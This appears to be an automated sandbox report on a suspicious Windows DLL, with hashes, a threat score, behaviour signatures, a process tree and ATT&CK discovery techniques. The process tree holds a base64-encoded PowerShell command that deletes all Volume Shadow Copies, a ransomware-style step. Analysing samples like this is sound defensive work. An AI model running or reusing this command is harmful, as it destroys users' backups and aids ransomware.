Overview

overview

10

Static

static

10

2011f4ed15...b1.dll

windows7_x64

1

2011f4ed15...b1.dll

windows10-2004_x64

6

Analysis

  • max time kernel
    186s
  • max time network
    191s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    12-06-2022 13:46

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General

  • Target

    2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1.dll

  • Size

    164KB

  • MD5

    3ad4c27f8d0e7135f401474811bd9b25

  • SHA1

    9eb3c7f77134c49fbe1bdda2d2ef4fb6eb5377ce

  • SHA256

    2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1

  • SHA512

    38bca02223716d44c209345c3a165264bb0a7009353c7e57db22ef7143e49a18ce1908e15abd5fae7b93e74c64c305b88bd32b5a862096b7c2b950a142e2f971

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\2011f4ed15d6ad002670fdfe8fffc2fbd7cff4c8e7bd9d16746f9884a79a24b1.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4560
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:788

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1
T1012

Peripheral Device Discovery

1
T1120

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/4560-131-0x0000000000000000-mapping.dmp
    Download
  • memory/4560-132-0x00000253F09D0000-0x00000253F09F2000-memory.dmp
    Filesize

    136KB

    Download
  • memory/4560-133-0x00007FFAE0A20000-0x00007FFAE14E1000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/4560-134-0x00007FFAE0A20000-0x00007FFAE14E1000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/4560-135-0x00007FFAE0A20000-0x00007FFAE14E1000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/4628-130-0x0000000000000000-mapping.dmp
    Download